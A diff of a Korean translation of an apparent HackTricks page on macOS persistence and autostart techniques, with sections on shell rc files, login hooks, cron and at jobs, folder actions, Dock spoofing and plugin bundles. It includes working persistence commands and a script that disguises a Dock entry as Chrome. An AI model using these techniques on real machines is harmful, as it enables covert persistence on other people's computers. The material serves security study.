||||
* **`~/.bashrc`**
|
||||
* **트리거**: bash로 터미널 열기
|
||||
* **트리거**: bash로 터미널 열기
|
||||
* `/etc/profile` (작동하지 않음)
|
||||
* `~/.profile` (작동하지 않음)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **트리거**: xterm으로 트리거되기를 기대하지만 **설치되어 있지 않으며** 설치 후에도 이 오류가 발생함: xterm: `DISPLAY is not set`
|
||||
* **트리거**: xterm으로 예상되지만 **설치되어 있지 않으며** 설치 후에도 다음 오류가 발생함: xterm: `DISPLAY is not set`
|
||||
|
||||
#### 설명 및 악용
|
||||
|
||||
`zsh` 또는 `bash`와 같은 쉘 환경을 초기화할 때 **특정 시작 파일이 실행**됩니다. macOS는 현재 기본 쉘로 `/bin/zsh`를 사용합니다. 이 쉘은 터미널 애플리케이션이 시작될 때 또는 SSH를 통해 장치에 액세스할 때 자동으로 액세스됩니다. macOS에는 `bash`와 `sh`도 있지만 사용하려면 명시적으로 호출해야 합니다.
|
||||
`zsh` 또는 `bash`와 같은 셸 환경을 초기화할 때 **특정 시작 파일이 실행**됩니다. macOS는 현재 기본 셸로 `/bin/zsh`를 사용합니다. 이 셸은 터미널 애플리케이션이 시작될 때 또는 SSH를 통해 장치에 액세스할 때 자동으로 액세스됩니다. macOS에는 `bash`와 `sh`도 있지만 명시적으로 호출하여 사용해야 합니다.
|
||||
|
||||
우리가 **`man zsh`**로 읽을 수 있는 zsh의 매뉴얼 페이지에는 시작 파일에 대한 긴 설명이 있습니다.
|
||||
우리가 **`man zsh`**로 읽을 수 있는 zsh의 man 페이지에는 시작 파일에 대한 상세한 설명이 있습니다.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +166,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 다시 열린 애플리케이션
|
||||
|
||||
{% hint style="danger" %}
|
||||
지정된 악용을 구성하고 로그아웃 및 로그인 또는 재부팅을 해도 앱을 실행할 수 없었습니다. (앱이 실행되지 않았습니다. 아마도 이러한 작업이 수행될 때 실행 중이어야 할 수도 있습니다)
|
||||
지정된 악용을 구성하고 로그아웃 및 로그인 또는 재부팅하여 앱을 실행하지 못했습니다. (앱이 실행되지 않았습니다. 이 작업을 수행할 때 앱이 실행 중이어야 할 수도 있습니다)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -153,11 +181,11 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
다시 열 애플리케이션은 plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 내에 있습니다.
|
||||
다시 열 애플리케이션은 모두 `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 파일 안에 있습니다.
|
||||
|
||||
따라서 다시 열 애플리케이션에서 자신의 앱을 실행하려면 **앱을 목록에 추가**하면 됩니다.
|
||||
|
||||
UUID는 해당 디렉토리를 나열하거나 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`로 찾을 수 있습니다.
|
||||
UUID는 해당 디렉토리를 나열하거나 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`를 사용하여 찾을 수 있습니다.
|
||||
|
||||
다시 열릴 애플리케이션을 확인하려면 다음을 수행할 수 있습니다:
|
||||
```bash
|
||||
|
@ -186,7 +214,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **트리거**: 터미널 열기
|
||||
|
||||
#### 설명 및 악용
|
||||
#### 설명 및 공격
|
||||
|
||||
**`~/Library/Preferences`**에는 사용자의 응용 프로그램 환경 설정이 저장됩니다. 이러한 환경 설정 중 일부는 **다른 응용 프로그램/스크립트를 실행**할 수 있는 구성을 보유할 수 있습니다.
|
||||
|
||||
|
@ -210,7 +238,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
}
|
||||
[...]
|
||||
```
|
||||
그래서, 시스템의 터미널 환경 설정 파일이 덮어쓰여진다면, **`open`** 기능을 사용하여 **터미널을 열고 해당 명령이 실행**될 수 있습니다.
|
||||
그래서, 시스템의 터미널 환경 설정 파일(plist)이 덮어쓰여진다면, **`open`** 기능을 사용하여 **터미널을 열고 해당 명령이 실행**될 수 있습니다.
|
||||
|
||||
다음 명령을 사용하여 cli에서 이를 추가할 수 있습니다:
|
||||
|
||||
|
@ -229,7 +257,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 터미널을 사용하여 사용자의 FDA 권한을 가질 수 있음
|
||||
* 터미널을 사용하여 사용자가 FDA 권한을 가질 수 있음
|
||||
|
||||
#### 위치
|
||||
|
||||
|
@ -238,9 +266,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
만약 [**`.terminal`** 스크립트](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)를 생성하고 열면, **터미널 애플리케이션**이 자동으로 호출되어 거기에 표시된 명령을 실행합니다. 터미널 앱에 일부 특별한 권한(예: TCC)이 있는 경우, 해당 특별한 권한으로 명령이 실행됩니다.
|
||||
만약 [**`.terminal`** 스크립트](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)를 생성하고 열면, **터미널 애플리케이션**이 자동으로 호출되어 거기에 표시된 명령을 실행합니다. 터미널 앱에 특별한 권한(예: TCC)이 있는 경우, 해당 특별한 권한으로 명령이 실행됩니다.
|
||||
|
||||
다음과 같이 시도해보세요:
|
||||
다음과 함께 시도해보세요:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -313,14 +341,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
#### 설명 및 이용
|
||||
|
||||
QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더에서 파일을 선택한 상태에서 스페이스 바를 누름) 해당 파일 유형을 지원하는 **플러그인이 설치**되어 있으면 실행됩니다.
|
||||
QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더에서 파일을 선택한 상태에서 스페이스 바를 누름) **해당 파일 유형을 지원하는 플러그인**이 설치되어 있으면 실행됩니다.
|
||||
|
||||
자체 QuickLook 플러그인을 컴파일하여 이전 위치 중 하나에 배치한 다음 지원되는 파일로 이동하여 스페이스를 눌러 트리거할 수 있습니다.
|
||||
|
||||
### ~~로그인/로그아웃 후크~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 방법은 제게는 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook 모두 작동하지 않았습니다.
|
||||
이 방법은 제게 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook 모두 작동하지 않았습니다.
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -333,7 +361,7 @@ QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더
|
|||
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`와 같은 명령을 실행할 수 있어야 함
|
||||
* `~/Library/Preferences/com.apple.loginwindow.plist`에 위치함
|
||||
|
||||
이러한 후크는 사용자가 로그인할 때 명령을 실행할 수 있지만 사용이 중단되었지만 여전히 사용할 수 있습니다.
|
||||
이 방법은 폐기되었지만 사용자가 로그인할 때 명령을 실행할 수 있습니다.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -389,9 +417,9 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
```bash
|
||||
crontab -l
|
||||
```
|
||||
맥OS에서는 **`/usr/lib/cron/tabs/`** 및 **`/var/at/tabs/`**에서 사용자의 모든 cron 작업을 볼 수 있습니다 (루트 권한 필요).
|
||||
맥OS에서는 **`/usr/lib/cron/tabs/`** 및 **`/var/at/tabs/`**에 사용자의 모든 cron 작업을 볼 수 있습니다 (루트 권한 필요).
|
||||
|
||||
맥OS에서는 일정한 빈도로 스크립트를 실행하는 여러 폴더를 다음 위치에서 찾을 수 있습니다:
|
||||
맥OS에서는 **특정 빈도**로 스크립트를 실행하는 여러 폴더를 찾을 수 있습니다:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
|
@ -441,9 +469,9 @@ macOS provides several locations where programs can be configured to automatical
|
|||
|
||||
3. **Global Launch Agents**: Found in `/Library/LaunchAgents`, these are similar to user-specific launch agents but run under the context of any user that logs into the system.
|
||||
|
||||
4. **Launch Daemons**: Located in `/Library/LaunchDaemons`, these are used to start system-wide services at boot time. They run under the system's context.
|
||||
4. **Launch Daemons**: Located in `/Library/LaunchDaemons`, these run under the system's context at boot time, regardless of which user logs in.
|
||||
|
||||
5. **Startup Items**: Found in `/Library/StartupItems`, these are legacy items that are deprecated and no longer supported in macOS.
|
||||
5. **Startup Items**: Deprecated since macOS 10.7, Startup Items were once a common way to launch daemons or agents at boot time.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -496,8 +524,8 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
**iTerm2 환경 설정을 악용하는 다른 방법**이 있을 가능성이 매우 높습니다.
|
||||
{% endhint %}
|
||||
**iTerm2 환경 설정을 악용할 수 있는** **다른 방법**이 있을 가능성이 매우 높습니다.
|
||||
{% endhint%}
|
||||
|
||||
### xbar
|
||||
|
||||
|
@ -515,7 +543,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
#### 설명
|
||||
|
||||
인기 있는 프로그램 [**xbar**](https://github.com/matryer/xbar)가 설치되어 있다면, **`~/Library/Application\ Support/xbar/plugins/`**에 셸 스크립트를 작성하여 xbar가 시작될 때 실행될 수 있습니다:
|
||||
인기 있는 프로그램 [**xbar**](https://github.com/matryer/xbar)가 설치되어 있다면, **`~/Library/Application\ Support/xbar/plugins/`**에 쉘 스크립트를 작성하여 xbar가 시작될 때 실행될 수 있습니다:
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
|
@ -541,7 +569,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)은 **macOS**용 자동화 플랫폼으로, 작업에 **LUA 스크립팅 언어**를 활용합니다. 특히, 완전한 AppleScript 코드의 통합과 셸 스크립트의 실행을 지원하여 스크립팅 기능을 크게 향상시킵니다.
|
||||
|
||||
이 앱은 `~/.hammerspoon/init.lua`라는 단일 파일을 찾으며, 시작되면 해당 스크립트가 실행됩니다.
|
||||
이 앱은 단일 파일인 `~/.hammerspoon/init.lua`를 찾고, 시작되면 해당 스크립트가 실행됩니다.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -550,7 +578,7 @@ EOF
|
|||
```
|
||||
### BetterTouchTool
|
||||
|
||||
* 유용한 용도: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 BetterTouchTool을 설치해야 함
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation-Shortcuts 및 Accessibility 권한을 요청함
|
||||
|
@ -559,11 +587,11 @@ EOF
|
|||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 자신의 **단축키 및 작업을 데이터베이스에서 실행하도록 구성**하여 임의의 코드를 실행하게 할 수 있습니다 (단축키는 단순히 키를 누르는 것일 수 있음).
|
||||
이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 자신의 **단축키 및 작업을 데이터베이스에서 실행하도록 구성**하여 임의의 코드를 실행하게 할 수 있습니다 (단축키는 키를 누르는 것만으로도 가능합니다).
|
||||
|
||||
### Alfred
|
||||
|
||||
* 유용한 용도: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 Alfred를 설치해야 함
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation, Accessibility 및 심지어 전체 디스크 액세스 권한을 요청함
|
||||
|
@ -578,7 +606,7 @@ EOF
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* 유용한 용도: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 ssh를 활성화하고 사용해야 함
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH는 FDA 액세스를 가지고 있어야 함
|
||||
|
@ -622,7 +650,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
|||
#### 설명
|
||||
|
||||
시스템 환경설정 -> 사용자 및 그룹 -> **로그인 항목**에서 **사용자 로그인 시 실행되는 항목**을 찾을 수 있습니다.\
|
||||
이를 목록화하고 명령줄에서 추가하고 제거할 수 있습니다:
|
||||
이를 목록화하고 명령줄에서 추가하거나 제거할 수 있습니다:
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
@ -633,7 +661,7 @@ osascript -e 'tell application "System Events" to make login item at end with pr
|
|||
#Remove an item:
|
||||
osascript -e 'tell application "System Events" to delete login item "itemname"'
|
||||
```
|
||||
이러한 항목들은 **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** 파일에 저장됩니다.
|
||||
이러한 항목들은 파일 **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**에 저장됩니다.
|
||||
|
||||
**로그인 항목**은 또한 [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API를 사용하여 지정할 수 있으며, 이는 구성을 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**에 저장합니다.
|
||||
|
||||
|
@ -641,7 +669,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(로그인 항목에 대한 이전 섹션을 확인하십시오. 이것은 확장입니다)
|
||||
|
||||
**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 열리고, 예를 들어 **`~/Library`**에 저장되어 있고 **`LaunchAgents/file.plist`** 폴더를 포함하는 ZIP 파일이 있으면 해당 폴더가 생성됩니다(기본적으로 생성되지 않음) 그리고 plist가 추가되어 다음에 사용자가 다시 로그인할 때 **plist에 표시된 백도어가 실행**됩니다.
|
||||
**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 열리고, 예를 들어 **`~/Library`**에 저장된 ZIP이 **`LaunchAgents/file.plist`** 폴더를 포함하고 있고 해당 폴더에 백도어가 포함되어 있다면 (기본적으로는 그렇지 않음) 해당 폴더가 생성되고 plist가 추가되어 사용자가 다음에 다시 로그인할 때 **plist에 표시된 백도어가 실행**됩니다.
|
||||
|
||||
다른 옵션으로는 사용자 홈 디렉토리 내에 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하는 것이며, LaunchAgents 폴더가 이미 존재하는 경우에도 이 기술이 여전히 작동할 것입니다.
|
||||
|
||||
|
@ -659,17 +687,17 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.
|
|||
|
||||
#### **설명**
|
||||
|
||||
`at` 작업은 **특정 시간에 실행되는 일회성 작업**을 예약하는 데 사용됩니다. cron 작업과 달리 `at` 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 후에도 지속되므로 특정 조건에서 보안 문제가 될 수 있음을 주의해야 합니다.
|
||||
`at` 작업은 **특정 시간에 실행되는 일회성 작업**을 예약하는 데 사용됩니다. cron 작업과 달리 `at` 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 후에도 지속되므로 특정 조건에서 보안 문제로 표시될 수 있습니다.
|
||||
|
||||
**기본적으로** 비활성화되어 있지만 **루트** 사용자는 다음과 같이 **활성화**할 수 있습니다:
|
||||
**기본적으로** 이러한 작업은 **비활성화**되어 있지만 **루트** 사용자는 다음과 같이 **활성화**할 수 있습니다:
|
||||
```bash
|
||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
이것은 1시간 후에 파일을 생성합니다:
|
||||
이것은 1시간 후에 파일을 생성합니다.
|
||||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
`atq`를 사용하여 작업 대기열을 확인합니다:
|
||||
작업 대기열을 확인하려면 `atq`를 사용하십시오:
|
||||
```shell-session
|
||||
sh-3.2# atq
|
||||
26 Tue Apr 27 00:46:00 2021
|
||||
|
@ -719,9 +747,9 @@ total 32
|
|||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||
```
|
||||
파일 이름에는 큐, 작업 번호 및 예약된 실행 시간이 포함되어 있습니다. 예를 들어 `a0001a019bdcd2`를 살펴보겠습니다.
|
||||
파일 이름에는 대기열, 작업 번호 및 예약된 실행 시간이 포함되어 있습니다. 예를 들어 `a0001a019bdcd2`를 살펴보겠습니다.
|
||||
|
||||
* `a` - 이것은 큐입니다.
|
||||
* `a` - 이것은 대기열을 나타냅니다.
|
||||
* `0001a` - 16진수로 된 작업 번호, `0x1a = 26`
|
||||
* `019bdcd2` - 16진수로 된 시간. 이는 epoch 이후 경과된 분을 나타냅니다. `0x019bdcd2`는 10진수로 `26991826`입니다. 이를 60으로 곱하면 `1619509560`이 되며, 이는 `GMT: 2021년 4월 27일 화요일 7시 46분 00초`입니다.
|
||||
|
||||
|
@ -753,8 +781,8 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac)를 사용하여 폴더 액션 워크플로우를 만들고 서비스로 설치하는 것
|
||||
2. 폴더의 컨텍스트 메뉴에서 폴더 액션 설정을 통해 스크립트를 수동으로 첨부하는 것
|
||||
3. `System Events.app`로 Apple 이벤트 메시지를 보내기 위해 OSAScript를 활용하여 폴더 액션을 프로그래밍적으로 설정하는 것
|
||||
* 이 방법은 특히 시스템에 작업을 포함하여 영속성 수준을 제공하는 데 유용합니다.
|
||||
3. 시스템적으로 폴더 액션을 설정하기 위해 `System Events.app`로 Apple 이벤트 메시지를 보내기 위해 OSAScript를 활용하는 것
|
||||
* 이 방법은 특히 시스템에 작업을 포함하여 지속성 수준을 제공하는 데 유용합니다.
|
||||
|
||||
다음 스크립트는 폴더 액션에서 실행할 수 있는 예시입니다:
|
||||
```applescript
|
||||
|
@ -766,11 +794,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|||
app.doShellScript("mkdir /tmp/asd123");
|
||||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||
```
|
||||
위의 스크립트를 Folder Actions에서 사용할 수 있도록 컴파일하려면 다음을 사용하십시오:
|
||||
위의 스크립트를 Folder Actions에서 사용할 수 있도록 컴파일하려면 다음을 사용하세요:
|
||||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
스크립트를 컴파일한 후 아래 스크립트를 실행하여 폴더 액션을 설정합니다. 이 스크립트는 전역적으로 폴더 액션을 활성화하고 이전에 컴파일된 스크립트를 데스크톱 폴더에 특정하게 첨부합니다.
|
||||
스크립트가 컴파일된 후에 아래 스크립트를 실행하여 폴더 액션을 설정합니다. 이 스크립트는 전역적으로 폴더 액션을 활성화하고 이전에 컴파일된 스크립트를 데스크톱 폴더에 구체적으로 첨부합니다.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -780,7 +808,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
다음과 같이 설정 스크립트를 실행하십시오:
|
||||
설정 스크립트를 다음과 같이 실행하십시오:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
|
@ -806,7 +834,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
그럼 `Folder Actions Setup` 앱을 열고 **감시하려는 폴더**를 선택한 다음, 당신의 경우에는 **`folder.scpt`**를 선택하세요 (제 경우에는 output2.scp로 이름을 지었습니다):
|
||||
그럼 `Folder Actions Setup` 앱을 열고 **감시하고 싶은 폴더**를 선택하고 당신의 경우에는 **`folder.scpt`**를 선택하세요 (제 경우에는 output2.scp로 이름을 지었습니다):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -828,7 +856,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
4. 이 구성을 사용하기 위해 Folder Actions Setup.app을 엽니다: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
제게는 작동하지 않았지만, 이것이 writeup에서 제공한 지침입니다:(
|
||||
제게는 작동하지 않았지만, 이것은 writeup에서 제공한 지침입니다:(
|
||||
{% endhint %}
|
||||
|
||||
### 독 바로 가기
|
||||
|
@ -844,7 +872,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
* `~/Library/Preferences/com.apple.dock.plist`
|
||||
* **트리거**: 사용자가 독 안의 앱을 클릭할 때
|
||||
|
||||
#### 설명 및 Exploitation
|
||||
#### 설명 및 악용
|
||||
|
||||
독에 나타나는 모든 애플리케이션은 **`~/Library/Preferences/com.apple.dock.plist`** 내에 지정됩니다.
|
||||
|
||||
|
@ -860,7 +888,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
일부 **사회 공학**을 사용하여 도크 내에서 예를 들어 Google Chrome으로 **위장하고 실제로 자체 스크립트를 실행할 수 있습니다.**
|
||||
일부 **사회 공학**을 사용하여 도크 내에서 예를 들어 Google Chrome으로 **위장하고 실제로 자체 스크립트를 실행할 수 있습니다**:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -915,7 +943,7 @@ killall Dock
|
|||
```
|
||||
### 컬러 피커
|
||||
|
||||
해설: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* 샌드박스 우회에 유용: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 매우 구체적인 동작이 필요함
|
||||
|
@ -930,13 +958,13 @@ killall Dock
|
|||
* `~/Library/ColorPickers`
|
||||
* 트리거: 컬러 피커 사용
|
||||
|
||||
#### 설명 및 공격
|
||||
#### 설명 및 익스플로잇
|
||||
|
||||
**코드와 함께 컬러 피커** 번들을 컴파일하세요 (예: [**이것을 사용할 수 있습니다**](https://github.com/viktorstrate/color-picker-plus)) 그리고 생성자를 추가하고 (`Screen Saver` 섹션과 같이) 번들을 `~/Library/ColorPickers`로 복사하세요.
|
||||
**코드와 함께 컬러 피커** 번들을 컴파일하세요 (예: [**이것을 사용할 수 있습니다**](https://github.com/viktorstrate/color-picker-plus)) 그리고 생성자를 추가하고 (`Screen Saver` 섹션과 같이) 번들을 `~/Library/ColorPickers`에 복사하세요.
|
||||
|
||||
그럼, 컬러 피커가 트리거되면 당신의 코드도 실행될 것입니다.
|
||||
그런 다음, 컬러 피커가 트리거되면 당신의 코드도 실행됩니다.
|
||||
|
||||
당신의 라이브러리를 로드하는 이진 파일이 **매우 제한적인 샌드박스**를 가지고 있음을 유의하세요: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
당신의 라이브러리를 로드하는 이진 파일이 매우 제한적인 샌드박스를 가지고 있음을 유의하세요: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -963,9 +991,9 @@ killall Dock
|
|||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
Finder Sync Extension이 포함된 응용 프로그램 예시는 [**여기에서 찾을 수 있습니다**](https://github.com/D00MFist/InSync).
|
||||
Finder Sync Extension이 있는 애플리케이션 예제는 [**여기에서 찾을 수 있습니다**](https://github.com/D00MFist/InSync).
|
||||
|
||||
응용 프로그램은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 응용 프로그램 내부로 들어갑니다. 더욱이, 확장이 코드를 실행할 수 있도록 하려면 **일부 유효한 Apple 개발자 인증서로 서명**되어야 하며, **샌드박스**에 있어야 합니다 (비록 완화된 예외가 추가될 수 있음) 그리고 다음과 같은 것으로 등록되어야 합니다:
|
||||
애플리케이션은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 애플리케이션 내부로 들어갑니다. 또한, 확장이 코드를 실행할 수 있도록 하려면 **일부 유효한 Apple 개발자 인증서로 서명**되어야 하며, **샌드박스**에 있어야 합니다 (완화된 예외가 추가될 수 있음) 그리고 다음과 같은 것으로 등록되어야 합니다:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -1010,7 +1038,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 코드를 로드하는 이진 파일의 entitlements 내부에 (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`**을 찾을 수 있기 때문에 **공통 애플리케이션 샌드박스 내부에 있을 것**입니다.
|
||||
이 코드를 로드하는 이진 파일의 entitlements 내부에 (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`**을 찾을 수 있기 때문에 **일반 애플리케이션 샌드박스 내부에 있을 것**입니다.
|
||||
{% endhint %}
|
||||
|
||||
Saver code:
|
||||
|
@ -1102,16 +1130,16 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* **트리거**: 스포트라이트 플러그인이 관리하는 확장자를 가진 새 파일이 생성됨.
|
||||
* 새로운 앱 필요
|
||||
|
||||
#### 설명 및 공격
|
||||
#### 설명 및 악용
|
||||
|
||||
Spotlight는 macOS의 내장 검색 기능으로, 사용자에게 **컴퓨터의 데이터에 빠르고 포괄적인 액세스**를 제공하기 위해 설계되었습니다.\
|
||||
이 빠른 검색 기능을 용이하게 하기 위해 Spotlight는 **독점 데이터베이스**를 유지하고 대부분의 파일을 구문 분석하여 색인을 생성하여 파일 이름과 내용을 통한 신속한 검색을 가능하게 합니다.
|
||||
|
||||
Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 나타냅니다. 이 프로세스는 Spotlight 서비스 전체를 조정합니다. 이를 보완하기 위해 여러 'mdworker' 데몬이 다양한 유지 관리 작업을 수행하며, 다양한 파일 형식을 색인화합니다 (`ps -ef | grep mdworker`). 이러한 작업은 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들"**을 통해 가능하며, 이를 통해 Spotlight은 다양한 파일 형식의 콘텐츠를 이해하고 색인화할 수 있습니다.
|
||||
